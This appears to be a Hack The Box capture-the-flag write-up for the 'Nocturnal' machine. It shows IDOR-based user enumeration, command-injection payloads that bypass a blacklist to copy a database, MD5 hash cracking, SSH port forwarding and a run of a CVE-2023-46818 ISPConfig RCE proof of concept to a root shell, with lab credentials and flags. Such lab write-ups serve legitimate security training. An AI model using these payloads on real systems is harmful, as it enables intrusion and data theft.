HTB - Nocturnal
HTB - Nocturnal⌗
Enumeration:⌗
# Nmap 7.95 scan initiated Tue May 20 22:46:21 2025 as: /usr/lib/nmap/nmap -v -p - -Pn -T4 -A -oN nmaptcp nocturnal.htb
Nmap scan report for nocturnal.htb (10.10.11.64)
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 3.894 days (since Sat May 17 01:19:24 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 21.55 ms 10.10.14.1
2 21.61 ms nocturnal.htb (10.10.11.64)
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 20 22:46:51 2025 -- 1 IP address (1 host up) scanned in 30.29 seconds
User exploit⌗
Looking at the nmap scan, we see port 22 (SSH) and 80 (web) open. The web port hosts the Nocturnal
application, which is a platform to upload Word, Excel and PDF documents. It also advertises collaboration features and backups. We can click on the register link and create a dax
account. Once logged in, we are greeted by the following interface.
We can upload a dummy PDF file and it appears in the Your Files
section, with a link to download it back. When downloading the file, we can see that the URL looks like /view.php?username=dax&file=dax.pdf
. Playing around with the username
parameter, we can quickly see that specifying an invalid username shows User not found.
at the bottom of the page, while any valid username will not. We can use this information to enumerate valid users with ffuf
.
$ ffuf -u "http://nocturnal.htb/view.php?username=FUZZ&file=dax.pdf" -w /opt/SecLists/Usernames/Names/names.txt -H 'Cookie: PHPSESSID=e1qupj0rrrrql65jg0tl5i0000' -fs 2985
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=dax.pdf
:: Wordlist : FUZZ: /opt/SecLists/Usernames/Names/names.txt
:: Header : Cookie: PHPSESSID=e1qupj0rrrrql65jg0tl5i0000
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 2985
________________________________________________
admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 26ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 25ms]
dax [Status: 200, Size: 4, Words: 1, Lines: 2, Duration: 24ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 24ms]
:: Progress: [10177/10177] :: Job [1/1] :: 1609 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
We find 3 valid users, admin
, tobias
and amanda
. By putting amanda
in the username
parameter with a bogus file
, we get a listing containing one file.
GET /view.php?username=amanda&file=asd.pdf HTTP/1.1
...
...
<div class="container">
<h1>File Viewer</h1>
<div class="error">File does not exist.</div>
<h2>Available files for download:</h2>
<ul>
<li><a href="view.php?username=amanda&file=privacy.odt">privacy.odt</a></li>
</ul>
</div>
...
We can put privacy.odt
in the file
parameter to recover a document that contains the following text.
Dear Amanda, Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure. The file has been created and provided by Nocturnal’s IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us. Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.
Yours sincerely, Nocturnal’s IT team
We can use these new credentials to login as amanda
, and this time we see Go to Admin Panel
at the top of the page. Clicking the link shows the following page.
If we click any of the PHP file names, its content will be displayed. At the bottom of the page, we can enter a password and press the Create Backup
button to generate a password protected zip archive, along with the output of what looks awfully like an OS command.
Looking around in the PHP files, the first thing of interest we find is the path of the SQLite database in dashboard.php
.
<?php
session_start();
if (!isset($_SESSION['user_id'])) {
header('Location: login.php');
exit();
}
$db = new SQLite3('../nocturnal_database/nocturnal_database.db');
$user_id = $_SESSION['user_id'];
$username = $_SESSION['username'];
...
Looking at the admin.php
file, we can also see that the PHP code is indeed passing the password
parameter to a zip command with proc_open
.
...
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
...
The password is, however, first passed through the cleanEntry
function.
...
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
...
The function blocks most of the fun characters, but does a peculiar thing at the end: it encodes the payload using htmlspecialchars
. This function converts special characters to HTML entities and is usually intended to prevent attacks such as XSS. An HTLM entity looks like '
or '
(depending on the configuration). What’s interesting in our case is that 3 of those characters have special meaning in bash: &
sends a command to background, #
is a comment and ;
chains commands. Using this, we can come up with the following payload to escape the context of the zip command: dax\'whoami
, which gets translated to dax\'whoami
(the \
is used to escape the &
to avoid sending the command to background). This gives the following output.
<pre>
whoami: extra operand 'backups/backup_2025-05-23.zip'
Try 'whoami --help' for more information.
</pre>
Since the space character is blocked, we can use %09
which gets translated to a tab character once URL decoded since it can be used like a space in bash. This allows us to add a tab after our command and a #
to comment out the rest of the line: dax\'whoami%09#
. This gives an error in the HTML output saying that the backup has failed, but the command still runs behind the scenes. We can craft the following payload to copy the database at the root of the web application and download it through the browser: dax\'cp%09../nocturnal_database/nocturnal_database.db%0948c1fcf9-3459-4c83-a1a8-78a63d3cf5df.db%09#
.
We can then open the SQLite database and extract the password hashes for all users, which are MD5. Using hashcat
, we can recover the password for tobias
.
$ hashcat -m 0 nocturnal.hashes rockyou.txt
These credentials allow us to log into SSH and get the user flag.
Root exploit⌗
Looking at the open ports that are only accessible through 127.0.0.1, we see port 8080. We can forward it to our host using SSH.
$ ssh tobias@nocturnal.htb -L 8080:127.0.0.1:8080
This gives us access to an ISPConfig
interface.
Googling the software, we find that the default user is admin
, and using the same password as tobias
allows us to log in. Looking at the source code of the HTML page, we can spot the version for the software.
<link
rel="stylesheet"
href="themes/default/assets/stylesheets/ispconfig.css?ver=3.2.2"
/>
This allows us to find CVE-2023-46818
, an authenticated RCE vulnerability caused by the records POST parameter to /admin/language_edit.php, which is not properly sanitized. Using a PoC found on Packet Storm, we can easily get a shell, and the root flag.
$ php exploit.php http://localhost:8080/ admin slowmotionapocalypse
...
--- CVE-2023-46818.php PoC ---
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell
ispconfig-shell# cat /root/root.txt
8a79296a947d7034c54094a710724158
Resources:⌗
Hyperlink | Info |
---|---|
https://github.com/ffuf/ffuf | ffuf |
https://github.com/hashcat/hashcat | hashcat |
https://www.ispconfig.org/ | ispconfig |
https://packetstorm.news/files/id/176126 | ISPConfig 3.2.11 PHP Code Injection |